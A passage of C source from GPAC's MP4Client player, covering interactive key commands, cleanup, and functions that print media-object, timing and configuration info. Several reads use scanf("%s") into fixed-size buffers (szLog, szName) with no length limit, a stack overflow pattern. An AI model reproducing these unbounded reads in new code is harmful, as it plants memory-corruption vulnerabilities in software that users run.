0; else display_rti = 2; ResetCaption(); break; case 'u': { GF_Err e; char szCom[8192]; fprintf(stderr, "Enter command to send:\n"); fflush(stdin); szCom[0] = 0; if (1 > scanf("%[^\t\n]", szCom)) { fprintf(stderr, "Cannot read command to send, aborting.\n"); break; } e = gf_term_scene_update(term, NULL, szCom); if (e) fprintf(stderr, "Processing command failed: %s\n", gf_error_to_string(e)); } break; case 'e': { GF_Err e; char jsCode[8192]; fprintf(stderr, "Enter JavaScript code to evaluate:\n"); fflush(stdin); jsCode[0] = 0; if (1 > scanf("%[^\t\n]", jsCode)) { fprintf(stderr, "Cannot read code to evaluate, aborting.\n"); break; } e = gf_term_scene_update(term, "application/ecmascript", jsCode); if (e) fprintf(stderr, "Processing JS code failed: %s\n", gf_error_to_string(e)); } break; case 'L': { char szLog[1024], *cur_logs; cur_logs = gf_log_get_tools_levels(); fprintf(stderr, "Enter new log level (current tools %s):\n", cur_logs); gf_free(cur_logs); if (scanf("%s", szLog) < 1) { fprintf(stderr, "Cannot read new log level, aborting.\n"); break; } gf_log_modify_tools_levels(szLog); } break; case 'g': { GF_SystemRTInfo rti; gf_sys_get_rti(rti_update_time_ms, &rti, 0); fprintf(stderr, "GPAC allocated memory "LLD"\n", rti.gpac_memory); } break; case 'M': { u32 size; do { fprintf(stderr, "Enter new video cache memory in kBytes (current %ud):\n", gf_term_get_option(term, GF_OPT_VIDEO_CACHE_SIZE)); } while (1 > scanf("%ud", &size)); gf_term_set_option(term, GF_OPT_VIDEO_CACHE_SIZE, size); } break; case 'H': { u32 http_bitrate = gf_term_get_option(term, GF_OPT_HTTP_MAX_RATE); do { fprintf(stderr, "Enter new http bitrate in bps (0 for none) - current limit: %d\n", http_bitrate); } while (1 > scanf("%ud", &http_bitrate)); gf_term_set_option(term, GF_OPT_HTTP_MAX_RATE, http_bitrate); } break; case 'E': gf_term_set_option(term, GF_OPT_RELOAD_CONFIG, 1); break; case 'B': switch_bench(!bench_mode); break; case 'Y': { char szOpt[8192]; fprintf(stderr, "Enter option to set (Section:Name=Value):\n"); fflush(stdin); szOpt[0] = 0; if (1 > scanf("%[^\t\n]", szOpt)) { fprintf(stderr, "Cannot read option\n"); break; } set_cfg_option(szOpt); } break; /*extract to PNG*/ case 'Z': { char szFileName[100]; u32 nb_pass, nb_views, offscreen_view = 0; GF_VideoSurface fb; GF_Err e; nb_pass = 1; nb_views = gf_term_get_option(term, GF_OPT_NUM_STEREO_VIEWS); if (nb_views>1) { fprintf(stderr, "Auto-stereo mode detected - type number of view to dump (0 is main output, 1 to %d offscreen view, %d for all offscreen, %d for all offscreen and main)\n", nb_views, nb_views+1, nb_views+2); if (scanf("%d", &offscreen_view) != 1) { offscreen_view = 0; } if (offscreen_view==nb_views+1) { offscreen_view = 1; nb_pass = nb_views; } else if (offscreen_view==nb_views+2) { offscreen_view = 0; nb_pass = nb_views+1; } } while (nb_pass) { nb_pass--; if (offscreen_view) { sprintf(szFileName, "view%d_dump.png", offscreen_view); e = gf_term_get_offscreen_buffer(term, &fb, offscreen_view-1, 0); } else { sprintf(szFileName, "gpac_video_dump_"LLU".png", gf_net_get_utc() ); e = gf_term_get_screen_buffer(term, &fb); } offscreen_view++; if (e) { fprintf(stderr, "Error dumping screen buffer %s\n", gf_error_to_string(e) ); nb_pass = 0; } else { #ifndef GPAC_DISABLE_AV_PARSERS u32 dst_size = fb.width*fb.height*4; char *dst = (char*)gf_malloc(sizeof(char)*dst_size); e = gf_img_png_enc(fb.video_buffer, fb.width, fb.height, fb.pitch_y, fb.pixel_format, dst, &dst_size); if (e) { fprintf(stderr, "Error encoding PNG %s\n", gf_error_to_string(e) ); nb_pass = 0; } else { FILE *png = gf_fopen(szFileName, "wb"); if (!png) { fprintf(stderr, "Error writing file %s\n", szFileName); nb_pass = 0; } else { gf_fwrite(dst, dst_size, 1, png); gf_fclose(png); fprintf(stderr, "Dump to %s\n", szFileName); } } if (dst) gf_free(dst); gf_term_release_screen_buffer(term, &fb); #endif //GPAC_DISABLE_AV_PARSERS } } fprintf(stderr, "Done: %s\n", szFileName); } break; case 'G': { GF_ObjectManager *root_od, *odm; u32 index; char szOpt[8192]; fprintf(stderr, "Enter 0-based index of object to select or service ID:\n"); fflush(stdin); szOpt[0] = 0; if (1 > scanf("%[^\t\n]", szOpt)) { fprintf(stderr, "Cannot read OD ID\n"); break; } index = atoi(szOpt); odm = NULL; root_od = gf_term_get_root_object(term); if (root_od) { if ( gf_term_find_service(term, root_od, index)) { gf_term_select_service(term, root_od, index); } else { fprintf(stderr, "Cannot find service %d - trying with object index\n", index); odm = gf_term_get_object(term, root_od, index); if (odm) { gf_term_select_object(term, odm); } else { fprintf(stderr, "Cannot find object at index %d\n", index); } } } } break; case 'h': PrintHelp(); break; default: break; } } if (bench_mode) { PrintAVInfo(GF_TRUE); } /*FIXME: we have an issue in cleaning up after playing in bench mode and run-for 0 (buildbot tests). We for now disable error checks after run-for is done*/ if (simulation_time_in_ms) { gf_log_set_strict_error(0); } i = gf_sys_clock(); gf_term_disconnect(term); if (rti_file) UpdateRTInfo("Disconnected\n"); fprintf(stderr, "Deleting terminal... "); if (playlist) gf_fclose(playlist); #if defined(__DARWIN__) || defined(__APPLE__) carbon_uninit(); #endif gf_term_del(term); fprintf(stderr, "done (in %d ms) - ran for %d ms\n", gf_sys_clock() - i, gf_sys_clock()); fprintf(stderr, "GPAC cleanup ...\n"); gf_modules_del(user.modules); if (no_cfg_save) gf_cfg_discard_changes(cfg_file); gf_cfg_del(cfg_file); gf_sys_close(); if (rti_logs) gf_fclose(rti_logs); if (logfile) gf_fclose(logfile); if (gui_mode) { hide_shell(2); } #ifdef GPAC_MEMORY_TRACKING if (mem_track && (gf_memory_size() || gf_file_handles_count() )) { gf_log_set_tool_level(GF_LOG_MEMORY, GF_LOG_INFO); gf_memory_print(); return 2; } #endif return ret_val; } #if defined(WIN32) && !defined(NO_WMAIN) int wmain(int argc, wchar_t** wargv) { int i; int res; size_t len; size_t res_len; char **argv; argv = (char **)malloc(argc*sizeof(wchar_t *)); for (i = 0; i < argc; i++) { wchar_t *src_str = wargv[i]; len = UTF8_MAX_BYTES_PER_CHAR * gf_utf8_wcslen(wargv[i]); argv[i] = (char *)malloc(len + 1); res_len = gf_utf8_wcstombs(argv[i], len, &src_str); argv[i][res_len] = 0; if (res_len > len) { fprintf(stderr, "Length allocated for conversion of wide char to UTF-8 not sufficient\n"); return -1; } } res = mp4client_main(argc, argv); for (i = 0; i < argc; i++) { free(argv[i]); } free(argv); return res; } #else int main(int argc, char** argv) { return mp4client_main(argc, argv); } #endif //win32 static GF_ObjectManager *video_odm = NULL; static GF_ObjectManager *audio_odm = NULL; static GF_ObjectManager *scene_odm = NULL; static u32 last_odm_count = 0; void PrintAVInfo(Bool final) { GF_MediaInfo a_odi, v_odi, s_odi; Double avg_dec_time=0; u32 tot_time=0; Bool print_codecs = final; if (scene_odm) { GF_ObjectManager *root_odm = gf_term_get_root_object(term); u32 count = gf_term_get_object_count(term, root_odm); if (last_odm_count != count) { last_odm_count = count; scene_odm = NULL; } } if (!video_odm && !audio_odm && !scene_odm) { u32 count, i; GF_ObjectManager *root_odm = root_odm = gf_term_get_root_object(term); if (!root_odm) return; if (gf_term_get_object_info(term, root_odm, &v_odi)==GF_OK) { if (!scene_odm && (v_odi.generated_scene== 0)) { scene_odm = root_odm; } } count = gf_term_get_object_count(term, root_odm); for (i=0; i<count; i++) { GF_ObjectManager *odm = gf_term_get_object(term, root_odm, i); if (!odm) break; if (gf_term_get_object_info(term, odm, &v_odi) == GF_OK) { if (!video_odm && (v_odi.od_type == GF_STREAM_VISUAL) && (v_odi.raw_media || (v_odi.cb_max_count>1) || v_odi.direct_video_memory || (bench_mode == 3) )) { video_odm = odm; } else if (!audio_odm && (v_odi.od_type == GF_STREAM_AUDIO)) { audio_odm = odm; } else if (!scene_odm && (v_odi.od_type == GF_STREAM_SCENE)) { scene_odm = odm; } } } } if (0 && bench_buffer) { fprintf(stderr, "Buffering %d %% ", bench_buffer-1); return; } if (video_odm) { if (gf_term_get_object_info(term, video_odm, &v_odi)!= GF_OK) { video_odm = NULL; return; } } else { memset(&v_odi, 0, sizeof(v_odi)); } if (print_codecs && audio_odm) { gf_term_get_object_info(term, audio_odm, &a_odi); } else { memset(&a_odi, 0, sizeof(a_odi)); } if ((print_codecs || !video_odm) && scene_odm) { gf_term_get_object_info(term, scene_odm, &s_odi); } else { memset(&s_odi, 0, sizeof(s_odi)); } if (final) { tot_time = gf_sys_clock() - bench_mode_start; fprintf(stderr, " \r"); fprintf(stderr, "************** Bench Mode Done in %d ms ********************\n", tot_time); if (bench_mode==3) fprintf(stderr, "** Systems layer only (no decoding) **\n"); if (!video_odm) { u32 nb_frames_drawn; Double FPS = gf_term_get_simulation_frame_rate(term, &nb_frames_drawn); fprintf(stderr, "Drawn %d frames FPS %.2f (simulation FPS %.2f) - duration %d ms\n", nb_frames_drawn, ((Float)nb_frames_drawn*1000)/tot_time,(Float) FPS, gf_term_get_time_in_ms(term) ); } } if (print_codecs) { if (video_odm) { fprintf(stderr, "%s %dx%d sar=%d:%d duration %.2fs\n", v_odi.codec_name, v_odi.width, v_odi.height, v_odi.par ? (v_odi.par>>16)&0xFF : 1, v_odi.par ? (v_odi.par)&0xFF : 1, v_odi.duration); if (final) { u32 dec_run_time = v_odi.last_frame_time - v_odi.first_frame_time; if (!dec_run_time) dec_run_time = 1; if (v_odi.duration) fprintf(stderr, "%d%% ", (u32) (100*v_odi.current_time / v_odi.duration ) ); fprintf(stderr, "%d frames FPS %.2f (max %d us/f) rate avg %d max %d", v_odi.nb_dec_frames, ((Float)v_odi.nb_dec_frames*1000) / dec_run_time, v_odi.max_dec_time, (u32) v_odi.avg_bitrate/1000, (u32) v_odi.max_bitrate/1000); if (v_odi.nb_dropped) { fprintf(stderr, " (Error during bench: %d frames drop)", v_odi.nb_dropped); } fprintf(stderr, "\n"); } } if (audio_odm) { fprintf(stderr, "%s SR %d num channels %d bpp %d duration %.2fs\n", a_odi.codec_name, a_odi.sample_rate, a_odi.num_channels, a_odi.bits_per_sample, a_odi.duration); if (final) { u32 dec_run_time = a_odi.last_frame_time - a_odi.first_frame_time; if (!dec_run_time) dec_run_time = 1; if (a_odi.duration) fprintf(stderr, "%d%% ", (u32) (100*a_odi.current_time / a_odi.duration ) ); fprintf(stderr, "%d frames (ms/f %.2f avg %.2f max) rate avg %d max %d", a_odi.nb_dec_frames, ((Float)dec_run_time)/a_odi.nb_dec_frames, a_odi.max_dec_time/1000.0, (u32) a_odi.avg_bitrate/1000, (u32) a_odi.max_bitrate/1000); if (a_odi.nb_dropped) { fprintf(stderr, " (Error during bench: %d frames drop)", a_odi.nb_dropped); } fprintf(stderr, "\n"); } } if (scene_odm) { u32 w, h; gf_term_get_visual_output_size(term, &w, &h); fprintf(stderr, "%s scene size %dx%d rastered to %dx%d duration %.2fs\n", s_odi.codec_name ? s_odi.codec_name : "", s_odi.width, s_odi.height, w, h, s_odi.duration); if (final) { if (s_odi.nb_dec_frames>2 && s_odi.total_dec_time) { u32 dec_run_time = s_odi.last_frame_time - s_odi.first_frame_time; if (!dec_run_time) dec_run_time = 1; fprintf(stderr, "%d frames FPS %.2f (max %d us/f) rate avg %d max %d", s_odi.nb_dec_frames, ((Float)s_odi.nb_dec_frames*1000) / dec_run_time, s_odi.max_dec_time, (u32) s_odi.avg_bitrate/1000, (u32) s_odi.max_bitrate/1000); fprintf(stderr, "\n"); } else { u32 nb_frames_drawn; Double FPS; gf_term_get_simulation_frame_rate(term, &nb_frames_drawn); tot_time = gf_sys_clock() - bench_mode_start; FPS = gf_term_get_framerate(term, 0); fprintf(stderr, "%d frames FPS %.2f (abs %.2f)\n", nb_frames_drawn, (1000.0*nb_frames_drawn / tot_time), FPS); } } } if (final) { fprintf(stderr, "**********************************************************\n\n"); return; } } if (video_odm) { tot_time = v_odi.last_frame_time - v_odi.first_frame_time; if (!tot_time) tot_time=1; if (v_odi.duration) fprintf(stderr, "%d%% ", (u32) (100*v_odi.current_time / v_odi.duration ) ); fprintf(stderr, "%d f FPS %.2f (%.2f ms max) rate %d ", v_odi.nb_dec_frames, ((Float)v_odi.nb_dec_frames*1000) / tot_time, v_odi.max_dec_time/1000.0, (u32) v_odi.instant_bitrate/1000); } else if (scene_odm) { if (s_odi.nb_dec_frames>2 && s_odi.total_dec_time) { avg_dec_time = (Float) 1000000 * s_odi.nb_dec_frames; avg_dec_time /= s_odi.total_dec_time; if (s_odi.duration) fprintf(stderr, "%d%% ", (u32) (100*s_odi.current_time / s_odi.duration ) ); fprintf(stderr, "%d f %.2f (%d us max) - rate %d ", s_odi.nb_dec_frames, avg_dec_time, s_odi.max_dec_time, (u32) s_odi.instant_bitrate/1000); } else { u32 nb_frames_drawn; Double FPS; gf_term_get_simulation_frame_rate(term, &nb_frames_drawn); tot_time = gf_sys_clock() - bench_mode_start; FPS = gf_term_get_framerate(term, 1); fprintf(stderr, "%d f FPS %.2f (abs %.2f) ", nb_frames_drawn, (1000.0*nb_frames_drawn / tot_time), FPS); } } else if (audio_odm) { if (!print_codecs) { gf_term_get_object_info(term, audio_odm, &a_odi); } tot_time = a_odi.last_frame_time - a_odi.first_frame_time; if (!tot_time) tot_time=1; if (a_odi.duration) fprintf(stderr, "%d%% ", (u32) (100*a_odi.current_time / a_odi.duration ) ); fprintf(stderr, "%d frames (ms/f %.2f avg %.2f max)", a_odi.nb_dec_frames, ((Float)tot_time)/a_odi.nb_dec_frames, a_odi.max_dec_time/1000.0); } } void PrintWorldInfo(GF_Terminal *term) { u32 i; const char *title; GF_List *descs; descs = gf_list_new(); title = gf_term_get_world_info(term, NULL, descs); if (!title && !gf_list_count(descs)) { fprintf(stderr, "No World Info available\n"); } else { fprintf(stderr, "\t%s\n", title ? title : "No title available"); for (i=0; i<gf_list_count(descs); i++) { char *str = gf_list_get(descs, i); fprintf(stderr, "%s\n", str); } } gf_list_del(descs); } void PrintODList(GF_Terminal *term, GF_ObjectManager *root_odm, u32 num, u32 indent, char *root_name) { GF_MediaInfo odi; u32 i, count; char szIndent[50]; GF_ObjectManager *odm; if (!root_odm) { fprintf(stderr, "Currently loaded objects:\n"); root_odm = gf_term_get_root_object(term); } if (!root_odm) return; count = gf_term_get_current_service_id(term); if (count) fprintf(stderr, "Current service ID %d\n", count); if (gf_term_get_object_info(term, root_odm, &odi) != GF_OK) return; if (!odi.od) { fprintf(stderr, "Service not attached\n"); return; } for (i=0; i<indent; i++) szIndent[i]=' '; szIndent[indent]=0; fprintf(stderr, "%s", szIndent); fprintf(stderr, "#%d %s - ", num, root_name); if (odi.od->ServiceID) fprintf(stderr, "Service ID %d ", odi.od->ServiceID); if (odi.media_url) { fprintf(stderr, "%s\n", odi.media_url); } else { fprintf(stderr, "OD ID %d\n", odi.od->objectDescriptorID); } szIndent[indent]=' '; szIndent[indent+1]=0; indent++; count = gf_term_get_object_count(term, root_odm); for (i=0; i<count; i++) { odm = gf_term_get_object(term, root_odm, i); if (!odm) break; num++; if (gf_term_get_object_info(term, odm, &odi) == GF_OK) { switch (gf_term_object_subscene_type(term, odm)) { case 1: PrintODList(term, odm, num, indent, "Root"); break; case 2: PrintODList(term, odm, num, indent, "Inline Scene"); break; case 3: PrintODList(term, odm, num, indent, "EXTERNPROTO Library"); break; default: fprintf(stderr, "%s", szIndent); fprintf(stderr, "#%d - ", num); if (odi.media_url) { fprintf(stderr, "%s", odi.media_url); } else if (odi.od) { if (odi.od->URLString) { fprintf(stderr, "%s", odi.od->URLString); } else { fprintf(stderr, "ID %d", odi.od->objectDescriptorID); } } else if (odi.service_url) { fprintf(stderr, "%s", odi.service_url); } else { fprintf(stderr, "unknown"); } fprintf(stderr, " - %s", (odi.od_type==GF_STREAM_VISUAL) ? "Video" : (odi.od_type==GF_STREAM_AUDIO) ? "Audio" : "Systems"); if (odi.od && odi.od->ServiceID) fprintf(stderr, " - Service ID %d", odi.od->ServiceID); fprintf(stderr, "\n"); break; } } } } void ViewOD(GF_Terminal *term, u32 OD_ID, u32 number, const char *szURL) { GF_MediaInfo odi; u32 i, j, count, d_enum,id; GF_Err e; NetStatCommand com; GF_ObjectManager *odm, *root_odm = gf_term_get_root_object(term); if (!root_odm) return; odm = NULL; if (!szURL && ((!OD_ID && (number == (u32)-1)) || ((OD_ID == (u32)(-1)) && !number))) { odm = root_odm; if ((gf_term_get_object_info(term, odm, &odi) != GF_OK)) odm=NULL; } else { count = gf_term_get_object_count(term, root_odm); for (i=0; i<count; i++) { odm = gf_term_get_object(term, root_odm, i); if (!odm) break; if (gf_term_get_object_info(term, odm, &odi) == GF_OK) { if (szURL && strstr(odi.service_url, szURL)) break; if ((number == (u32)(-1)) && odi.od && (odi.od->objectDescriptorID == OD_ID)) break; else if (i == (u32)(number-1)) break; } odm = NULL; } } if (!odm) { if (szURL) fprintf(stderr, "cannot find OD for URL %s\n", szURL); if (number == (u32)-1) fprintf(stderr, "cannot find OD with ID %d\n", OD_ID); else fprintf(stderr, "cannot find OD with number %d\n", number); return; } if (!odi.od) { if (number == (u32)-1) fprintf(stderr, "Object %d not attached yet\n", OD_ID); else fprintf(stderr, "Object #%d not attached yet\n", number); return; } if (!odi.od) { fprintf(stderr, "Service not attached\n"); return; } if (odi.od->tag==GF_ODF_IOD_TAG) { fprintf(stderr, "InitialObjectDescriptor %d\n", odi.od->objectDescriptorID); fprintf(stderr, "Profiles and Levels: Scene %x - Graphics %x - Visual %x - Audio %x - OD %x\n", odi.scene_pl, odi.graphics_pl, odi.visual_pl, odi.audio_pl, odi.OD_pl); fprintf(stderr, "Inline Profile Flag %d\n", odi.inline_pl); } else { fprintf(stderr, "ObjectDescriptor %d\n", odi.od->objectDescriptorID); } fprintf(stderr, "Object Duration: "); if (odi.duration) { PrintTime((u32) (odi.duration*1000)); } else { fprintf(stderr, "unknown"); } fprintf(stderr, "\n"); fprintf(stderr, "Service Handler: %s\n", odi.service_handler); fprintf(stderr, "Service URL: %s\n", odi.service_url); if (odi.codec_name) { Float avg_dec_time; switch (odi.od_type) { case GF_STREAM_VISUAL: fprintf(stderr, "Video Object: Width %d - Height %d\r\n", odi.width, odi.height); fprintf(stderr, "Media Codec: %s\n", odi.codec_name); if (odi.par) fprintf(stderr, "Pixel Aspect Ratio: %d:%d\n", (odi.par>>16)&0xFF, (odi.par)&0xFF); break; case GF_STREAM_AUDIO: fprintf(stderr, "Audio Object: Sample Rate %d - %d channels\r\n", odi.sample_rate, odi.num_channels); fprintf(stderr, "Media Codec: %s\n", odi.codec_name); break; case GF_STREAM_SCENE: case GF_STREAM_PRIVATE_SCENE: if (odi.width && odi.height) { fprintf(stderr, "Scene Description - Width %d - Height %d\n", odi.width, odi.height); } else { fprintf(stderr, "Scene Description - no size specified\n"); } fprintf(stderr, "Scene Codec: %s\n", odi.codec_name); break; case GF_STREAM_TEXT: if (odi.width && odi.height) { fprintf(stderr, "Text Object: Width %d - Height %d\n", odi.width, odi.height); } else { fprintf(stderr, "Text Object: No size specified\n"); } fprintf(stderr, "Text Codec %s\n", odi.codec_name); break; } avg_dec_time = 0; if (odi.nb_dec_frames) { avg_dec_time = (Float) odi.total_dec_time; avg_dec_time /= odi.nb_dec_frames; } fprintf(stderr, "\tBitrate over last second: %d kbps\n\tMax bitrate over one second: %d kbps\n\tAverage Decoding Time %.2f us %d max)\n\tTotal decoded frames %d\n", (u32) odi.avg_bitrate/1024, odi.max_bitrate/1024, avg_dec_time, odi.max_dec_time, odi.nb_dec_frames); } if (odi.protection) fprintf(stderr, "Encrypted Media%s\n", (odi.protection==2) ? " NOT UNLOCKED" : ""); count = gf_list_count(odi.od->ESDescriptors); fprintf(stderr, "%d streams in OD\n", count); for (i=0; i<count; i++) { GF_ESD *esd = (GF_ESD *) gf_list_get(odi.od->ESDescriptors, i); fprintf(stderr, "\nStream ID %d - Clock ID %d\n", esd->ESID, esd->OCRESID); if (esd->dependsOnESID) fprintf(stderr, "\tDepends on Stream ID %d for decoding\n", esd->dependsOnESID); switch (esd->decoderConfig->streamType) { case GF_STREAM_OD: fprintf(stderr, "\tOD Stream - version %d\n", esd->decoderConfig->objectTypeIndication); break; case GF_STREAM_OCR: fprintf(stderr, "\tOCR Stream\n"); break; case GF_STREAM_SCENE: fprintf(stderr, "\tScene Description Stream - version %d\n", esd->decoderConfig->objectTypeIndication); break; case GF_STREAM_VISUAL: fprintf(stderr, "\tVisual Stream - media type: %s", gf_esd_get_textual_description(esd)); break; case GF_STREAM_AUDIO: fprintf(stderr, "\tAudio Stream - media type: %s", gf_esd_get_textual_description(esd)); break; case GF_STREAM_MPEG7: fprintf(stderr, "\tMPEG-7 Stream - version %d\n", esd->decoderConfig->objectTypeIndication); break; case GF_STREAM_IPMP: fprintf(stderr, "\tIPMP Stream - version %d\n", esd->decoderConfig->objectTypeIndication); break; case GF_STREAM_OCI: fprintf(stderr, "\tOCI Stream - version %d\n", esd->decoderConfig->objectTypeIndication); break; case GF_STREAM_MPEGJ: fprintf(stderr, "\tMPEGJ Stream - version %d\n", esd->decoderConfig->objectTypeIndication); break; case GF_STREAM_INTERACT: fprintf(stderr, "\tUser Interaction Stream - version %d\n", esd->decoderConfig->objectTypeIndication); break; case GF_STREAM_TEXT: fprintf(stderr, "\tStreaming Text Stream - version %d\n", esd->decoderConfig->objectTypeIndication); break; default: fprintf(stderr, "\tUnknown Stream\n"); break; } fprintf(stderr, "\tBuffer Size %d\n\tAverage Bitrate %d bps\n\tMaximum Bitrate %d bps\n", esd->decoderConfig->bufferSizeDB, esd->decoderConfig->avgBitrate, esd->decoderConfig->maxBitrate); if (esd->slConfig->predefined==SLPredef_SkipSL) { fprintf(stderr, "\tNot using MPEG-4 Synchronization Layer\n"); } else { fprintf(stderr, "\tStream Clock Resolution %d\n", esd->slConfig->timestampResolution); } if (esd->URLString) fprintf(stderr, "\tStream Location: %s\n", esd->URLString); /*check language*/ if (esd->langDesc) { s32 lang_idx; char lan[4]; lan[0] = esd->langDesc->langCode>>16; lan[1] = (esd->langDesc->langCode>>8)&0xFF; lan[2] = (esd->langDesc->langCode)&0xFF; lan[3] = 0; lang_idx = gf_lang_find(lan); if (lang_idx>=0) { fprintf(stderr, "\tStream Language: %s\n", gf_lang_get_name(lang_idx)); } } } fprintf(stderr, "\n"); /*check OCI (not everything interests us) - FIXME: support for unicode*/ count = gf_list_count(odi.od->OCIDescriptors); if (count) { fprintf(stderr, "%d Object Content Information descriptors in OD\n", count); for (i=0; i<count; i++) { GF_Descriptor *desc = (GF_Descriptor *) gf_list_get(odi.od->OCIDescriptors, i); switch (desc->tag) { case GF_ODF_SEGMENT_TAG: { GF_Segment *sd = (GF_Segment *) desc; fprintf(stderr, "Segment Descriptor: Name: %s - start time %g sec - duration %g sec\n", sd->SegmentName, sd->startTime, sd->Duration); } break; case GF_ODF_CC_NAME_TAG: { GF_CC_Name *ccn = (GF_CC_Name *)desc; fprintf(stderr, "Content Creators:\n"); for (j=0; j<gf_list_count(ccn->ContentCreators); j++) { GF_ContentCreatorInfo *ci = (GF_ContentCreatorInfo *) gf_list_get(ccn->ContentCreators, j); if (!ci->isUTF8) continue; fprintf(stderr, "\t%s\n", ci->contentCreatorName); } } break; case GF_ODF_SHORT_TEXT_TAG: { GF_ShortTextual *std = (GF_ShortTextual *)desc; fprintf(stderr, "Description:\n\tEvent: %s\n\t%s\n", std->eventName, std->eventText); } break; default: break; } } fprintf(stderr, "\n"); } switch (odi.status) { case 0: fprintf(stderr, "Stopped - "); break; case 1: fprintf(stderr, "Playing - "); break; case 2: fprintf(stderr, "Paused - "); break; case 3: fprintf(stderr, "Not setup yet\n"); return; default: fprintf(stderr, "Setup Failed\n"); return; } if (odi.buffer>=0) fprintf(stderr, "Buffer: %d ms - ", odi.buffer); else fprintf(stderr, "Not buffering - "); fprintf(stderr, "Clock drift: %d ms\n", odi.clock_drift); if (odi.db_unit_count) fprintf(stderr, "%d AU in DB\n", odi.db_unit_count); if (odi.cb_max_count) fprintf(stderr, "Composition Buffer: %d CU (%d max)\n", odi.cb_unit_count, odi.cb_max_count); fprintf(stderr, "\n"); if (odi.owns_service) { const char *url; u32 done, total, bps; d_enum = 0; while (gf_term_get_download_info(term, odm, &d_enum, &url, NULL, &done, &total, &bps)) { if (d_enum==1) fprintf(stderr, "Current Downloads in service:\n"); if (done && total) { fprintf(stderr, "%s: %d / %d bytes (%.2f %%) - %.2f kBps\n", url, done, total, (100.0f*done)/total, ((Float)bps)/1024.0f); } else { fprintf(stderr, "%s: %.2f kbps\n", url, ((Float)8*bps)/1024.0f); } } if (!d_enum) fprintf(stderr, "No Downloads in service\n"); fprintf(stderr, "\n"); } d_enum = 0; while (gf_term_get_channel_net_info(term, odm, &d_enum, &id, &com, &e)) { if (e) continue; if (!com.bw_down && !com.bw_up) continue; fprintf(stderr, "Stream ID %d statistics:\n", id); if (com.multiplex_port) { fprintf(stderr, "\tMultiplex Port %d - multiplex ID %d\n", com.multiplex_port, com.port); } else { fprintf(stderr, "\tPort %d\n", com.port); } fprintf(stderr, "\tPacket Loss Percentage: %.4f\n", com.pck_loss_percentage); fprintf(stderr, "\tDown Bandwidth: %d bps\n", com.bw_down); if (com.bw_up) fprintf(stderr, "\tUp Bandwidth: %d bps\n", com.bw_up); if (com.ctrl_port) { if (com.multiplex_port) { fprintf(stderr, "\tControl Multiplex Port: %d - Control Multiplex ID %d\n", com.multiplex_port, com.ctrl_port); } else { fprintf(stderr, "\tControl Port: %d\n", com.ctrl_port); } fprintf(stderr, "\tDown Bandwidth: %d bps\n", com.ctrl_bw_down); fprintf(stderr, "\tUp Bandwidth: %d bps\n", com.ctrl_bw_up); } fprintf(stderr, "\n"); } } void PrintODTiming(GF_Terminal *term, GF_ObjectManager *odm, u32 indent) { GF_MediaInfo odi; u32 ind = indent; u32 i, count; if (!odm) return; if (gf_term_get_object_info(term, odm, &odi) != GF_OK) return; if (!odi.od) { fprintf(stderr, "Service not attached\n"); return; } while (ind) { fprintf(stderr, " "); ind--; } if (! odi.generated_scene) { fprintf(stderr, "- OD %d: ", odi.od->objectDescriptorID); switch (odi.status) { case 1: fprintf(stderr, "Playing - "); break; case 2: fprintf(stderr, "Paused - "); break; default: fprintf(stderr, "Stopped - "); break; } if (odi.buffer>=0) fprintf(stderr, "Buffer: %d ms - ", odi.buffer); else fprintf(stderr, "Not buffering - "); fprintf(stderr, "Clock drift: %d ms", odi.clock_drift); fprintf(stderr, " - time: "); PrintTime((u32) (odi.current_time*1000)); fprintf(stderr, "\n"); } else { fprintf(stderr, "+ Service %s:\n", odi.service_url); } count = gf_term_get_object_count(term, odm); for (i=0; i<count; i++) { GF_ObjectManager *an_odm = gf_term_get_object(term, odm, i); PrintODTiming(term, an_odm, indent+1); } return; } void PrintODBuffer(GF_Terminal *term, GF_ObjectManager *odm, u32 indent) { Float avg_dec_time; GF_MediaInfo odi; u32 ind, i, count; if (!odm) return; if (gf_term_get_object_info(term, odm, &odi) != GF_OK) return; if (!odi.od) { fprintf(stderr, "Service not attached\n"); return; } ind = indent; while (ind) { fprintf(stderr, " "); ind--; } if (odi.generated_scene) { fprintf(stderr, "+ Service %s:\n", odi.service_url); } else { fprintf(stderr, "- OD %d: ", odi.od->objectDescriptorID); switch (odi.status) { case 1: fprintf(stderr, "Playing"); break; case 2: fprintf(stderr, "Paused"); break; default: fprintf(stderr, "Stopped"); break; } if (odi.buffer>=0) fprintf(stderr, " - Buffer: %d ms", odi.buffer); if (odi.db_unit_count) fprintf(stderr, " - DB: %d AU", odi.db_unit_count); if (odi.cb_max_count) fprintf(stderr, " - CB: %d/%d CUs", odi.cb_unit_count, odi.cb_max_count); fprintf(stderr, "\n"); ind = indent; while (ind) { fprintf(stderr, " "); ind--; } fprintf(stderr, " %d decoded frames - %d dropped frames\n", odi.nb_dec_frames, odi.nb_dropped); ind = indent; while (ind) { fprintf(stderr, " "); ind--; } avg_dec_time = 0; if (odi.nb_dec_frames) { avg_dec_time = (Float) odi.total_dec_time; avg_dec_time /= odi.nb_dec_frames; } fprintf(stderr, " Avg Bitrate %d kbps (%d max) - Avg Decoding Time %.2f us (%d max)\n", (u32) odi.avg_bitrate/1024, odi.max_bitrate/1024, avg_dec_time, odi.max_dec_time); } count = gf_term_get_object_count(term, odm); for (i=0; i<count; i++) { GF_ObjectManager *an_odm = gf_term_get_object(term, odm, i); PrintODBuffer(term, an_odm, indent+1); } } void ViewODs(GF_Terminal *term, Bool show_timing) { GF_ObjectManager *root_odm = gf_term_get_root_object(term); if (!root_odm) return; if (show_timing) { PrintODTiming(term, root_odm, 0); } else { PrintODBuffer(term, root_odm, 0); } fprintf(stderr, "\n"); } void PrintGPACConfig() { u32 i, j, cfg_count, key_count; char szName[200]; char *secName = NULL; fprintf(stderr, "Enter section name (\"*\" for complete dump):\n"); if (1 > scanf("%s", szName)) { fprintf(stderr, "No section name, aborting.\n"); return; } if (strcmp(szName, "*")) secName = szName; fprintf(stderr, "\n\n*** GPAC Configuration ***\n\n"); cfg_count = gf_cfg_get_section_count(cfg_file); for (i=0; i<cfg_count; i++) { const char *sec = gf_cfg_get_section_name(cfg_file, i); if (secName) { if (stricmp(sec, secName)) continue; } else { if (!stricmp(sec, "General")) continue; if (!stricmp(sec, "MimeTypes")) continue; if (!stricmp(sec, "RecentFiles")) continue; } fprintf(stderr, "[%s]\n", sec); key_count = gf_cfg_get_key_count(cfg_file, sec); for (j=0; j<key_count; j++) { const char *key = gf_cfg_get_key_name(cfg_file, sec, j); const char *val = gf_cfg_get_key(cfg_file, sec, key); fprintf(stderr, "%s=%s\n", key, val); } fprintf(stderr, "\n"); } }
